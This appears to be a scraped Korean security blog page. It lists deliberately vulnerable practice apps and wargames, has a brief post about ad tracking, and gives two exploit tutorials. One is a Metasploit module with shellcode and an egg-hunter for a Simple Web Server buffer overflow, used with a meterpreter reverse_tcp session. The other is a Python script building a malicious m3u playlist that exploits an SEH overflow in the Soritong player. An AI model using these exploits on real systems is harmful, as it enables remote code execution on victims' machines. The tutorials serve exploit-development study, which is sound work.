OWASP WebGoatOWASPhttp://www.owasp.org/index.php/OWASP_WebGoat_Project
OWASP VicnumOWASPhttp://www.owasp.org/index.php/Category:OWASP_Vicnum_Project
OWASP InsecureWebAppOWASPhttp://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project
Web Security DOJOMaven SecurityConsultinghttp://www.mavensecurity.com/web_security_dojo/
Gruyere (antigo Codelab / Jalsberg)Googlehttp://google-gruyere.appspot.com/
Hacme GameNTNUhttp://hacmegame.org/
SPI DynamicsSPI Dynamicshttp://zero.webappsecurity.com/
Acunetix 1Acunetixhttp://testphp.vulnweb.com/
Acunetix 2Acunetixhttp://testasp.vulnweb.com/
Acunetix 3Acunetixhttp://testaspnet.vulnweb.com/
PCTechtips ChallengePC Tech Tipshttp://pctechtips.org/hacker-challenge-pwn3d-the-login-form/
Damn VulnerableWeb ApplicationDVWAhttp://dvwa.co.uk/
MutillidaeIron Geekhttp://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10
The ButterflySecurity ProjectThe Butterfly Securityhttp://sourceforge.net/projects/thebutterflytmp/
Hacme CasinoMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx
Hacme Bank 2.0McAfeehttp://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx
Updated HackmeBankMcAfeehttp://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html
Hacme BooksMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
Hacme TravelMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx
Hacme ShippingMcAfeehttp://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx
MothBonsai Sechttp://www.bonsai-sec.com/en/research/moth.php
Stanford SecuriBenchStandfordhttp://suif.stanford.edu/%7Elivshits/securibench/
SecuriBench MicroStandfordhttp://suif.stanford.edu/%7Elivshits/work/securibench-micro/
BadStoreBadStorehttp://www.badstore.net/
WebMaven/Buggy BankMaven Securityhttp://www.mavensecurity.com/webmaven
EnigmaGroupEnigma Grouphttp://enigmagroup.org/
XSS Encoding Skills – x5s (Casaba Watcher)X5Shttp://www.nottrusted.com/x5s/
Exploit- DBExploit DBhttp://www.exploit-db.com/webapps
The Bodgeit StoreThe Bodgeit Storehttp://code.google.com/p/bodgeit/
LampSecurityMadIrishhttp://sourceforge.net/projects/lampsecurity/
hackxorHackxorhttp://hackxor.sourceforge.net/cgi-bin/index.pl
WackoPickoWackoPicko

https://github.com/adamdoupe/WackoPicko

RSnake’s Vulnerability LabRSnakehttp://ha.ckers.org/weird/

 

War Games

Application NameCompany / DeveloperURL
Hell Bound HackersHell Bound Hackershttp://hellboundhackers.org/
Vulnerability AssessmentKevin Orreyhttp://www.vulnerabilityassessment.co.uk/
Smash the StackSmash the Stackhttp://www.smashthestack.org/
Over the WireOver the Wirehttp://www.overthewire.org/wargames/
Hack This SiteHack This Sitehttp://www.hackthissite.org/
Hacking LabHacking Labhttps://www.hacking-lab.com/
We ChallWe Challhttps://www.wechall.net/
REMnuxREMnuxhttp://zeltser.com/remnux/

 

Insecure Distributions

Application NameCompany / DeveloperURL
Damm Vulnerable LinuxDVLhttp://www.damnvulnerablelinux.org/
MetasploitableOffensive Securityhttp://blog.metasploit.com/2010/05/introducing-metasploitable.html
de-ICEHacker Junkiehttp://www.de-ice.net/
MothBonsai Security Softwarehttp://www.bonsai-sec.com/en/research/moth.php
PwnOSNiel Dicksonhttp://www.neildickson.com/os/
HolynixPynstromhttp://pynstrom.net/holynix.php


분명 로그인을 하지 않은 상태로 내가 사고 싶은 물건을 조금 검색해 본 것 뿐인데...


어느샌가 자꾸 내가 봤던 상품들이 광고로 계속 나오고 있었네요.


쿠키인지 아이피인지 귀찮아서 알아보진 않았지만, 어쨋건 내 동의따위 구하지 않고 멋대로 저장해 두나 봅니다. 


어쩐지 내가 관심있어 했던게 자꾸 광고에 나온다 했어 ㅡ.ㅡ


그다지 기분이 좋진 않네요.




'잡담' 카테고리의 다른 글

레고 마인드스톰...갖고싶다!!  (0) 2012.08.20


이번 주제는 Metasploit 을 활용하여 exploit 을 제작하는 것입니다.


exploit 을 제작할 때 물론 perl, python, ruby 등의 스크립트 언어도 많이 이용하지만, 실용성을 높이려면 exploit 


framework 인 metasploit 을 이용하여 제작하는 것이 좋습니다. metasploit 은 무료임에도 불구하고(물론 유료 버전도 


존재합니다만, GUI 일 뿐 그다지 크게 좋은지는 모르겠습니다.) 기본적인 exploit 골격을 제공할 뿐 아니라 공격 후의 


payload , encoder 등의 다양한 도구까지 제공해 줍니다. 즉, 사용자는 그저 발견한 취약점에 특화된 부분(offset 등) 


만을 추가하면 됩니다. 


=========================================================================================================



이번에 사용될 프로그램은 나름 최근(2012-07-19, http://www.exploit-db.com/exploits/19937/)에 발표한 Simple 


Web Server 2.2 rc2 이다. 이 프로그램은 HTTP Protocol 을 파싱하는 과정에서 Connection: 헤더를 읽어올 때 전형


적인 BOF 가 발생한다.



# simple web server 2.2-rc2 버전


해당 프로그램은 아래와 같이 웹서버의 역할을 하도록 해주는 어플리케이션이며, 간단히 접속 테스트를 해보았다.







# 공개된 취약점을 이용한 exploit 코드 제작


crash 가 발생하는 offset 이 2048 인 것만 알면 그다지 어려울 것은 없다. 단순히 junk 를 채우고 eip 를 덮어 씌운 뒤 


쉘코드를 입력하면 된다. 쉘코드가 긴 것을 별로 좋아하지 않아 메타스플로잇이 생성해준 것 대신 개인적으로 만든 쉘


코드를 사용한다. 실행만 되면 되잖아 :) 

 

 

# 45 바이트 쉘코드 ( 한글 xp sp3 에서만 동작함. 함수주소가 하드코딩 되어 있으므로 )

"\x55\x8b\xec\x83\xec\x44\x33\xc9\x88\x4d\xff\xc6\x45\xfc\x63"

"\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8"

"\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0"







# 해당 공격코드를 실행하여 대상PC에 쉘코드가 실행됨을 확인



공격 코드 실행하면 위와 같이 대상 PC 에서 쉘이 뜬다. 이제 exploit 코드를 작성했으니, 활용성을 높이기 위해 메타


스플로잇으로 포팅해보자. 메타스플로잇으로 코드를 작성해 두면 때에 따라 원하는 payload 를 실행할 수 있으며 매


번 프로그래밍을 다시 하는 단순 작업을 피할 수 있다.




# 메타스플로잇 모듈 작성


 - 모듈 위치 : /opt/framework/msf3/modules/   ( 아래와 같이 각 OS 별로 정리되어 있음 )

 - 모듈 언어 : ruby

 

 root@hyunmini:/opt/framework/msf3/modules/exploits# ls

aix  bsdi  dialup  freebsd  hpux  irix  linux  multi  netware  osx  solaris  unix  windows


새로운 모듈을 처음부터 작성하기 보단, 이미 완성된 수많은 훌륭한 익스플로잇을 복사하여 수정하자 ( -_- ㅋ)


몇 번 해보면 알겠지만 정해진 틀에 맞추어 offset, payload, header 등만을 수정해 주면 된다.


여기에선 windows/misc 내부의 익스플로잇을 하나 복사해서 썼다.



 require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote     // 리모트 익스플로잇 모듈 상속

Rank = GoodRanking                         // 익스플로잇의 신뢰도

include Msf::Exploit::Remote::Tcp       


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',     // 익스플로잇 모듈명

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.  // 설명

},

'Author'         => [ 'hyunmini' ],          // 제작자

'License'        => MSF_LICENSE,       // 라이센스

'Version'        => '$Revision: 7777 $' , // 버전 (자체적인 버전을 의미)

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],   

                                 // 참고 URL 이나 취약점 분류코드 등

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',          // 기본 옵션값 세팅

},


'Privileged'     => true,

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],  // OS, 패치별 ret 주소 

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)      // exploit 옵션 추가 및 디폴드값 설정

end


def exploit   // 실제 exploit 명령 시 실행되는 함수 

connect


sploit = "\x41" *  2048

sploit << [target.ret].pack('V')    // payload 에서 설정한 ret 주소가 자동 설정됨

                sploit << payload.encode   // 인코딩된 쉘코드


res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)  // 패킷 전송

print_status("OK!! Exploitation Done !!")

handler   // metasploit 핸들러

disconnect

end

end





크게 어려운 것은 없다. 대부분 위와 같은 형식을 가지고 있으며 보면 알겠지만 ret 주소, 익스플로잇 공간 등 일부분만 


수정해주면 된다.



# payload 설정 부분

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

}, 


Space 는 metasploit 을 이용하여 payload 를 지정할 때, 이용할 수 있는 최대한의 버퍼 크기이다. bof 의 경우 eip 를 


덮은 이후 jmp esp 등으로 쉘코드를 실행시킨다. 즉 버퍼이후 부터 쉘코드의 끝지점 정도가 payload 를 넣을 수 있는 


크기가 될 것이고, 생각보다 크지 않다. 일반적인 범용적인 쉘코드(자동 생성된)의 경우 3~500 바이트 정도의 크기이


다. 물론 직접 가지고 있는 쉘코드를 입력해서 사용하면 더 작은 공간만으로도 payload 구성이 가능하며, 이후에 알아


볼 테크닉인 egg hunting 이라는 기술을 통해 쓰레기값 대신 쉘코드를 버퍼 앞쪽에 넣고, egg(쉘코드 시작점을 알리


는 태그 정도로 보면 된다) 를 찾는 방법으로 더 넓은 공간을 확보할 수 있다.





그런데, 실행해보면 정상적으로 공격코드가 실행되지 않는 것을 볼 수 있다. wireshark 로 패킷을 잡아보면 분명히 패


킷은 전송이 되는데 실행이 되지 않는다. 이유는 위에서도 설명한 payload 문제이다. 



# 인코딩 된 쉘코드

 root@hyunmini # msfpayload windows/exec cmd=calc c | msfencode -e x86/alpha_mixed

[*] x86/alpha_mixed succeeded with size 1980 (iteration=1)


buf = 

"\x89\xe5\xdb\xd4\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" +

"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +

"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +

"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +

"\x42\x75\x4a\x49\x66\x4f\x65\x7a\x56\x6a\x55\x70\



위와 같이 인코딩을 하게 되면 용량이 훌쩍 커진다. 물론 알고리즘에 따라 다르긴 하지만, 보통 500 정도는 된다. 00, 


0a 등의 badchar 때문에 인코딩을 안하면 payload 가 정상적으로 입력이 안될 수 있으므로 인코딩은 항상 해주는 것


이 좋다. 어쨋건 이런 부분 때문에 항상 space 가 충분한지 확인을 하고, 공간이 너무 적다면 egg-hunting 을 통해 버


퍼의 앞부분에 쉘코드를 입력할 공간을 마련하는 것이 좋다. egg-hunting에 대한 자세한 포스팅은 이후에 다시 할 예


정이니 우선 완성된 코드로 진행을 해 보겠다. 우선은 개념 정도만 알고 넘어가자.



# Egg-hunting 개념으로 쉘코드가 앞부분에 위치하는 payload 로 구성한 완성된 exploit


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.

},

'Author'         => [ 'hyunmini' ],

'License'        => MSF_LICENSE,

'Version'        => '$Revision: 7777 $',

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},


'Privileged'     => true,

'Payload'        =>

{

'Space'    => 1000,

'BadChars' => "\x00\x0a\x0d\x3a\x20",

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)

end


def exploit

connect


sploit = rand_text_alpha_upper( 2048 - "w00tw00t".length - (payload.encode).length )

sploit << "w00tw00t"   // egg (tag)

sploit << payload.encode

sploit << [target.ret].pack('V')

sploit <<            // egg-hunting code "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8w00t\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)

print_status("OK!! Exploitation Done !!")

handler

disconnect

end

end


 



자 위의 코드로 다시 공격을 해보자.



root # msfconsole

          .....

          ....


msf > use exploit/windows/misc/hyunmini 

msf  exploit(hyunmini) > set rhost 192.168.48.3

rhost => 192.168.48.3

msf  exploit(hyunmini) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(hyunmini) > set lport 7777

lport => 7777

msf  exploit(hyunmini) > show options 


Module options (exploit/windows/misc/hyunmini):


   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   RHOST  192.168.48.3     yes       The target address

   RPORT  80               yes       The target port



Payload options (windows/meterpreter/reverse_tcp):


   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none

   LHOST                      yes       The listen address

   LPORT     7777             yes       The listen port



Exploit target:


   Id  Name

   --  ----

   0   Windows XP SP3 - KOR



msf  exploit(hyunmini) > set lhost 192.168.48.128

lhost => 192.168.48.128

msf  exploit(hyunmini) > exploit







공격이 성공하고 쉘이 얻어진 것을 확인 할 수 있다. 


더이상의 설명은 생략한다 ( -_- !)




수고하셨습니다~ ㅎㅎ 


토닥토닥







앞서 글(http://hyunmini.tistory.com/11) 에서 익힌 seh 취약점이 실제 어플리케이션 상에서 어떻게 이용될 수 있는지


확인해 보겠습니다. 해당 글에 사용된 프로그램은 soritong 플레이어라는 오래된 뮤직 플레이어 프로그램 입니다. 다


양한 부분에 BOF 취약점이 존재하며, 이 글에서는 재생목록파일(m3u)을 로딩할 때 lstrcpy 를 이용함으로 인해 발생


하는 취약점을 이용하겠습니다.




# 테스트 환경

   - 한글 Windows SP3 / VMware




# 취약한 "소리통 플레이어1.0" 프로그램


위와 같이 m3u 파일 ( 플레이리스트 ) 을 읽어올 때 BOF  취약점이 존재한다. 확인을 위해 악성 파일을 만들어 보자.



# malfile.py

=============================================================================================
import sys

import struct

a = "A"*5000

f = open('t1.m3u','w')

f.write(a)

f.close()


이제 이 파일을 드래그 하거나 오픈 메뉴를 이용해 열어 보면, 오류가 발생하면서 프로그램이 종료 된다.





View -> SEH 메뉴를 통해 SEH 핸들러와 prev handler 포인터가 덮어씌워 졌음을 알 수 있다. 이제 이전 글에서 공부


했던 개념을 그대로 적용하여 exploit 을 작성하면 된다. 



1) crash 확인

2) exploitable 한지 확인 ( eip / seh 등이 조작 가능한지 )

3) offset 확인

4) exploit 작성



1,2 는 이미 확인을 했고, offset 을 확인하기 위해서 metasploit 에서 제공하는 툴인 pattern_create.rb 를 사용한다. 


사용법은 pattern_create [number] 이며, 이 패턴과 pattern_offset.rb 을 이용해서 offset을 확인 할 수 있다.

( 이런 부분을 명령어로 간단히 해결 해주는 확장 모듈들이 있습니다. 나중에 천천히.. )



/opt/framework/msf3/tools# ./pattern_create.rb 5000

"Aa0Aa1......"   // 복사해서 사용


# malfile.py

=============================================================================================

import sys

import struct

t = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8....(생략)..."

f = open('t1.m3u','w')

f.write(t)

f.close() 



이제 프로그램을 다시 실행시키고 이 패턴이 입력된 m3u 파일을 로딩해보자. 아래와 같이 특정 값에서 EIP 가 변경됨


을 알 수 있다. 주의할 점은 SEH chain 을 보면 알 수 있듯이 EIP 는 SE Handler 가 덮어씌워져서 변경된 것이라는 것


이다.





/opt/framework/msf3/tools# ./pattern_offset.rb 41386941 5000

264


이때 오프셋 계산은 264-4 = 260 을 junk 로 계산하면 된다.





# SEH Overflow 에서의 Payload 구성



[          junk          ][     nseh   ][      seh      ][ nop ][  shellcode ] 


[AAAAAAAA..........][ short jmp ][pop pop ret][ 0x90][ \x58\xeb..]

                                      (2)             (1)           (3)         (4)



(1)  이전 글에서 확인했듯이 nseh 의 주소가 들어있는 스택주소를 이용하면 된다. 이해가 안가면 

      (http://hyunmini.tistory.com/11) 를 다시 확인해 보자.


(2) (1) 에서의 pop pop ret ( 기타 점프, call 등의 명령어도 가능하다. 핸들러가 실행될 당시의 스택에서 nseh 주소가 

      저장된 스택주소로 돌아가기만 하면 된다. ) 가 실행되어 nseh 로 돌아오게 되면, 입력된 쉘코드 부분으로 건너뛰

      기 위해 short jmp 명령을 이용한다.  ( \xeb\x10 , \xeb\x20 등 ) 


(3) nop 를 지나 (4) 쉘코드가 실행되고 원하는 명령이 실행되게 된다.




# windbg 를 이용하여 코드 조각 찾기






aslr 이 적용되지 않은 xp 이므로 아무 모듈에서나 사용하면 된다.




# exploit


import sys

import struct


nseh = "\xeb\x10\x90\x90"    // (2) short jmp

eip = struct.pack('<I', 0x1001e0c7)  // (1) pop pop ret

nop = "\x90"*20   // (3) nop sled

shellcode="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45" 

shellcode+="\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0" // (4)shellcode

f = open('t1.m3u','w')

f.write("\x90"*260 + nseh + seh + nop + shellcode + nop*200)

f.close()



자 이제 생성된 파일을 실행해서 exploit 이 동작하는지 확인해 보자.


실행 한 뒤에 먼저 pop pop ret 코드를 찾았던 주소에 브레이크 포인트를 걸고 따라가보자.



정상적으로 offset 을 계산하고 exploit 을 제작했으면 아래와 같이 입력한 주소에서 멈췄을 것이다. 






한땀한땀 F8 을 누르면서 차분히 쫓아가보자. ret 까지 실행하고 나면 아래와 같이 미리 입력했던 jmp 로 돌아가게 될 


것이다.( nSEH ) 이제 점프를 해서 쉘코드를 향해 달려보자.




점프를 하고 조금 nop 썰매를 타고 달리다 보면 쉘코드가 보인다.




쉘코드를 마저 실행하고 나면 아래와 같이 쉘이 뜨는 것을 확인할 수 있다. ^^




수고하셨습니다. @_@





















 





+ Recent posts